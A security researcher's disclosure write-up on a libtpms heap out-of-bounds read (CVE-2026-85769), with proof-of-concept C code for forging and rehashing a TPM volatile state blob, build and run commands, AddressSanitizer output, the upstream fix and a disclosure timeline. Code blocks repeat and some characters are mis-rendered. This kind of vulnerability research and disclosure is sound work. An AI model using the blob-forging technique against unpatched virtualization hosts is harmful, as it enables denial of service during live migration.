September 4, 2026
CVE-2026β85769 β Heap Out-of-Bounds Read in libtpms State Deserialization
TL;DR

By Isuka sanuj
8 min read
TL;DR
block_skip_read()advances the unmarshal cursor by aUINT16taken from the state blob, with no bound on it.- The bytes-remaining counter is a signed
INT32. It goes negative. - Every scalar guard is
(UINT32)*size < sizeof(...). Negative β huge unsigned β passes. Every read, every time. - Integrity is an unkeyed SHA-1. Recompute after tampering.
- Forged volatile blob β
TPMLIB_SetState()β heap OOB read β abort.
0x01 β Attack surface
libtpms has two parsers:
TPMLIB_Process() <- marshalled TPM commands from the guest [fuzzed hard]
TPMLIB_SetState() <- the serialized state blob [less so]TPMLIB_Process() <- marshalled TPM commands from the guest [fuzzed hard]
TPMLIB_SetState() <- the serialized state blob [less so]
The command path is the obvious one and OSS-Fuzz has been on it for years. The state path is the deserializer for everything the TPM knows β PCRs, sessions, loaded objects, NV state β reconstructed in one pass through a stack of hand-written unmarshallers.
Reached two ways:
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, ...)
TPMLIB_MainInit -> _TPM_Init -> VolatileLoadTPMLIB_SetState(TPMLIB_STATE_VOLATILE, ...)
TPMLIB_MainInit -> _TPM_Init -> VolatileLoadWho controls the blob. If it's written and read back by the same process there's no boundary and no bug. Live migration is what makes it one: in swtpm the state moves host-to-host over CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination parses bytes produced on the source.
--migration-key doesn't close it. The key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It stops a MITM, not a hostile peer.
0x02 β The sink
State blobs are versioned, so newer libtpms can write fields older libtpms doesn't know about. Optional blocks: here's a chunk, N bytes, skip it if you don't need it.
src/tpm2/NVMarshal.c, master 144β148:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize;
*size -= blocksize;
*skip_code = TRUE;
}} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize;
*size -= blocksize;
*skip_code = TRUE;
}blocksize is a UINT16 from the blob. *buffer is the cursor. *size is bytes remaining. Nothing compares them.
A blob can declare a 65535-byte optional block in an allocation with 200 bytes left. The cursor goes. *size β an INT32 β goes negative.
0x03 β Why nothing downstream catches it
src/tpm2/Unmarshal.c, in front of every scalar read:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }*size is signed, now around -8000. The check casts it:
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> falsePasses. And it keeps passing β the further past the allocation the parse runs, the more negative *size gets, and the larger it looks unsigned. The guard becomes more permissive as the situation gets worse.
The same file already has the correct form. Array_Unmarshal:
if (*size < (INT32)size) { return TPM_RC_INSUFFICIENT; } /* signed compare */if (*size < (INT32)size) { return TPM_RC_INSUFFICIENT; } /* signed compare */Array path compares signed. Scalar paths cast. That's the defect.
0x04 β The integrity check
src/tpm2/Volatile.c:
CryptHashBlock(hashAlg /* SHA1 */, *size - sizeof(hash), *buffer, sizeof(acthash), acthash);
...
if (memcmp(acthash, hash, sizeof(hash))) { /* checksum error */ }CryptHashBlock(hashAlg /* SHA1 */, *size - sizeof(hash), *buffer, sizeof(acthash), acthash);
...
if (memcmp(acthash, hash, sizeof(hash))) { /* checksum error */ }SHA-1 over blob[0 .. len-20], compared against the trailing 20 bytes. No key. Edit the bytes, rehash, done.
An unkeyed hash over attacker-reachable data detects corruption, not tampering.
0x05 β Build
git clone https://github.com/stefanberger/libtpms
cd libtpms && ./autogen.sh \
--with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0git clone https://github.com/stefanberger/libtpms
cd libtpms && ./autogen.sh \
--with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0The built .so is libtpms.so.0.10.2 on the 0.10.2 tree and libtpms.so.0.11.0 on master. Those aren't package versions β it's libtool -version-info from configure.ac:
LIBTPMS_VERSION_INFO = (MAJOR+MINOR):MICRO:MINOR
0.10.2 -> 10:2:10 -> (currentβage).age.revision -> .so.0.10.2
0.11.0 -> 11:0:11 -> -> .so.0.11.0LIBTPMS_VERSION_INFO = (MAJOR+MINOR):MICRO:MINOR
0.10.2 -> 10:2:10 -> (currentβage).age.revision -> .so.0.10.2
0.11.0 -> 11:0:11 -> -> .so.0.11.0Matching is coincidence.
0x06 β Building the PoC
Two modes
You can't hand-craft a volatile blob β it's the serialization of a live TPM. So the tool needs to produce one first, then load a mutated copy back:
poc_ltpm gen <permfile> <volfile>
poc_ltpm test <permfile> <volfile> <off> <blocksize>poc_ltpm gen <permfile> <volfile>
poc_ltpm test <permfile> <volfile> <off> <blocksize>gen
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);
TPMLIB_MainInit();
TPMLIB_GetState(TPMLIB_STATE_PERMANENT, &perm, &permlen);
TPMLIB_GetState(TPMLIB_STATE_VOLATILE, &vol, &vollen);TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);
TPMLIB_MainInit();
TPMLIB_GetState(TPMLIB_STATE_PERMANENT, &perm, &permlen);
TPMLIB_GetState(TPMLIB_STATE_VOLATILE, &vol, &vollen);Public API only. No internal headers, no reaching into structs β the maintainer can build and run it without trusting anything about your tree.
Two constraints on the load path
SetState needs the TPM powered off. Calling it on a fresh process fails without saying why. Bring the TPM up so crypto initialises, then power it down:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);
TPMLIB_MainInit();
TPMLIB_Terminate(); /* powers off; SetState requires this */TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);
TPMLIB_MainInit();
TPMLIB_Terminate(); /* powers off; SetState requires this */PERMANENT must be cached before VOLATILE. Volatile state references permanent state, so loading volatile alone fails in the preamble β nowhere near the sink:
TPMLIB_SetState(TPMLIB_STATE_PERMANENT, perm, permlen); /* valid, untouched */
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, vol, vollen); /* forged -> sink */TPMLIB_SetState(TPMLIB_STATE_PERMANENT, perm, permlen); /* valid, untouched */
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, vol, vollen); /* forged -> sink */Miss either and the bug looks unreachable when the harness is just failing early.
Forging the trailer
Three bytes plus a rehash. Big-endian, because that's what UINT16_Marshal wrote:
vol[off] = 0x01; /* has_block = TRUE */
vol[off + 1] = (unsigned char)((blocksize >> 8) & 0xff); /* BE hi */
vol[off + 2] = (unsigned char)( blocksize & 0xff); /* BE lo */
/* mirror Volatile.c: SHA1 over blob[0 .. len-20], into the last 20 */
SHA1(vol, vollen - SHA1_LEN, vol + (vollen - SHA1_LEN));vol[off] = 0x01; /* has_block = TRUE */
vol[off + 1] = (unsigned char)((blocksize >> 8) & 0xff); /* BE hi */
vol[off + 2] = (unsigned char)( blocksize & 0xff); /* BE lo */
/* mirror Volatile.c: SHA1 over blob[0 .. len-20], into the last 20 */
SHA1(vol, vollen - SHA1_LEN, vol + (vollen - SHA1_LEN));Print the arithmetic
Have the tool state where the cursor will land, before every run:
printf("[test] *buffer after trailer -> base+%ld ; "
"end-of-alloc -> base+%ld ; overshoot -> base+%ld (end %+ld)\n",
off + 3, vollen, off + 3 + blocksize, (off + 3 + blocksize) - vollen);printf("[test] *buffer after trailer -> base+%ld ; "
"end-of-alloc -> base+%ld ; overshoot -> base+%ld (end %+ld)\n",
off + 3, vollen, off + 3 + blocksize, (off + 3 + blocksize) - vollen);Targeting 8 bytes past the allocation means seeing (end +8) before ASan says anything. Tuning the overshoot becomes reading a number instead of guessing.
Guard rail and control mode
If the mutation offset lands inside the trailing hash region you overwrite the checksum with the checksum:
if (off + 2 >= vollen - SHA1_LEN) {
fprintf(stderr, "[test] WARNING: offset in/after hash region\n");
}if (off + 2 >= vollen - SHA1_LEN) {
fprintf(stderr, "[test] WARNING: offset in/after hash region\n");
}And off < 0 loads the blob unmutated. Cheap to add, and it's what tells you the harness works when a run doesn't crash:
if (off >= 0) {
/* forge trailer + rehash */
} else {
printf("[test] off<0: no mutation, loading VALID blob\n");
}if (off >= 0) {
/* forge trailer + rehash */
} else {
printf("[test] off<0: no mutation, loading VALID blob\n");
}Link
gcc -o poc_ltpm poc_ltpm.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcryptogcc -o poc_ltpm poc_ltpm.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto0x07 β Locating the trailer
The blob is 8778 bytes. The target is the has_block byte of a BLOCK_SKIP_READ(..., FALSE, ...) trailer.
Not every trailer qualifies. skip_self_heal_timer appears early and looks like one, but TpmBuildSwitches.h:196 rules it out:
#define ACCUMULATE_SELF_HEAL_TIMER YES#define ACCUMULATE_SELF_HEAL_TIMER YESWith that set it's emitted with needs_block = TRUE, taking the branch that reads the block properly. It never reaches the vulnerable path.
The reachable one passes the literal FALSE:
v0.10.2 NVMarshal.c:770 BLOCK_SKIP_READ(skip_future_versions, FALSE, buffer, size,
"ORDERLY_DATA", "version 3 or later");
master NVMarshal.c:737 (identical)v0.10.2 NVMarshal.c:770 BLOCK_SKIP_READ(skip_future_versions, FALSE, buffer, size,
"ORDERLY_DATA", "version 3 or later");
master NVMarshal.c:737 (identical)Which byte is that? Don't count β instrument block_skip_read():
fprintf(stderr, "[ltpm] block_skip_read name=\"%s\" field=\"%s\" needs_block=%d "
"has_block=%d blocksize=%u has_block_off=%ld size_after_trailer=%d\n",
name, field, needs_block, has_block, blocksize,
(long)(*buffer - blob_base - 3), *size);fprintf(stderr, "[ltpm] block_skip_read name=\"%s\" field=\"%s\" needs_block=%d "
"has_block=%d blocksize=%u has_block_off=%ld size_after_trailer=%d\n",
name, field, needs_block, has_block, blocksize,
(long)(*buffer - blob_base - 3), *size);Clean blob:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0
has_block=1 blocksize=0 has_block_off=173 size_after_trailer=8602[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0
has_block=1 blocksize=0 has_block_off=173 size_after_trailer=8602Cross-check β forge blocksize = 0x1234 at 173 and confirm it reads back at the same field:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0
has_block=1 blocksize=4660 has_block_off=173 size_after_trailer=8602[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0
has_block=1 blocksize=4660 has_block_off=173 size_after_trailer=8602
Offset 173, confirmed two independent ways, identical on both trees.
0x08 β Landing in the redzone
blocksize = 0xFFFF gives a wild pointer and a SEGV. Weak artifact β it could be anything, and the reader has to take your word. Size it to land just past the allocation instead, so ASan states the overshoot and the region itself:
blocksize = (len β off β 3) + 8
= (8778 β 173 β 3) + 8
= 8610blocksize = (len β off β 3) + 8
= (8778 β 173 β 3) + 8
= 8610Cursor after the trailer: base + 176. Plus 8610 β base + 8786. malloc(8778) ends at base + 8778. Eight over.
./poc_ltpm gen perm.bin vol.bin
./poc_ltpm test perm.bin vol.bin 173 8610
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
Shadow bytes around the buggy address:
=>0x525000007300: 00 00 00 00 00 00 00 00 00 02[fa]fa fa fa fa fa./poc_ltpm gen perm.bin vol.bin
./poc_ltpm test perm.bin vol.bin 173 8610
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
Shadow bytes around the buggy address:
=>0x525000007300: 00 00 00 00 00 00 00 00 00 02[fa]fa fa fa fa faShadow confirms the arithmetic: 02 covers 0x7348-0x734f with two bytes addressable, matching a region ending at 0x734a; the faulting address 0x7352 sits in the following fa redzone.
The fault is not in block_skip_read β that function advances the cursor and returns without reading. Damage lands on the next structure read, STATE_CLEAR_DATA_Unmarshal reaching for an NV_HEADER. The instrumentation in 0x07 is what ties the two together.
Identical faulting address, region and overshoot on master and v0.10.2.
0x09 β Not an info leak
Rebuilt without ASan, so overreads return adjacent heap instead of aborting:
OvershootblocksizeSetState(VOLATILE) rc1 byte86030x1e8 bytes86100x1e16 bytes86180x1e64 bytes86660x1e
0x1e is TPM_RC_BAD_TAG. stderr:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000After the overshoot the next read is an NV_HEADER, whose first field is a 32-bit magic that must match a constant. Adjacent heap satisfies that with p β 2β»Β³Β². VolatileState_Unmarshal returns BAD_TAG, VolatileState_Load fails, TPM2_SetState fails, ClearAllCachedState() discards everything. No OOB bytes reach TPMLIB_GetState.
C:N. DoS and undefined behaviour is the ceiling. Going further would need heap grooming such that STATE_CLEAR, STATE_RESET, sessions, objects and PCRs all pass their magic and consistency checks β not demonstrated, heavily constrained.
Red Hat's review reached the same conclusion independently.
0x0A β The fix
The patch I sent bounded blocksize at the skip:
if (*size < 0 || (UINT32)blocksize > (UINT32)*size) {
rc = TPM_RC_INSUFFICIENT;
} else {
*buffer += blocksize;
*size -= blocksize;
*skip_code = TRUE;
}if (*size < 0 || (UINT32)blocksize > (UINT32)*size) {
rc = TPM_RC_INSUFFICIENT;
} else {
*buffer += blocksize;
*size -= blocksize;
*skip_code = TRUE;
}Upstream fixed it at the primitive layer instead β 9e1475ff, "tpm2: Add checks for *size < 0 before casting it to UINT32". block_skip_read() still walks the cursor off the end; the next primitive read refuses to act on a negative *size.
That closes the class rather than the instance. Every record type funnelling reads through those primitives is covered by one patch, and there were eight.
Verified against 9e1475ff and its parent ba73ab17, both under ASan:
ba73ab17 : blocksize=0xFFFF -> ASan SEGV in UINT16_Unmarshal
ba73ab17 : blocksize=S+1 -> heap-buffer-overflow READ, 1 byte past region
9e1475ff : all attack cases -> TPM_RC_INSUFFICIENT (0x9a), no ASan report
9e1475ff : valid blob -> rc=0ba73ab17 : blocksize=0xFFFF -> ASan SEGV in UINT16_Unmarshal
ba73ab17 : blocksize=S+1 -> heap-buffer-overflow READ, 1 byte past region
9e1475ff : all attack cases -> TPM_RC_INSUFFICIENT (0x9a), no ASan report
9e1475ff : valid blob -> rc=0Still open as a design question: keyed integrity for state accepted over a migration channel. The unkeyed SHA-1 provides no authenticity, which is why a mutated blob gets parsed at all. swtpm is arguably the right layer for that, not libtpms.
0x0B β Timeline
2026-09-01 Reported privately to the libtpms maintainer
2026-09-04 Same root cause reported publicly and independently by Leyao (ICT CAS),
libtpms issue #614, covering 8 record types
2026-09-04 Fixed upstream in 9e1475ff (PR #613); fix verified against the PoC
2026-09-04 Reported to Red Hat Product Security
2026-09-04 CVE-2026-85769 assigned, Moderate, 6.52026-09-01 Reported privately to the libtpms maintainer
2026-09-04 Same root cause reported publicly and independently by Leyao (ICT CAS),
libtpms issue #614, covering 8 record types
2026-09-04 Fixed upstream in 9e1475ff (PR #613); fix verified against the PoC
2026-09-04 Reported to Red Hat Product Security
2026-09-04 CVE-2026-85769 assigned, Moderate, 6.5Credited to Isuka Sanuj (CyberCrew Inc.) and to Leyao (ICT CAS) for the independent report.
0x0C β Takeaways
Saved state is a parser. Suspend/resume, import/export, migration β each one is a deserializer that sees less attention than the primary input path. Ask who gets to hand it a file.
(UINT32)*size < sizeof(x) is not a bounds check. It behaves like one until the counter goes negative, then it inverts. Grep for casts inside comparisons β this codebase had the correct signed form three functions away.
Unkeyed checksums detect corruption, not tampering.
Instrument the parser to find offsets. Issue #614 notes 5 of its 8 reproducers didn't fire due to offset drift. One fprintf is the answer to that.
Land the overshoot deliberately. A redzone hit with an exact byte count is a stronger artifact than a wild-pointer SEGV.
Prove where the bug stops. The section showing it isn't an info leak carried more weight with reviewers than the ASan trace.
Building side: version state with something keyed, keep remaining-size counters unsigned or compare them signed, and treat your own save files as hostile input β on a migration path they are.
Here is the poc β https://github.com/isukasanuj/CVE-2026-85769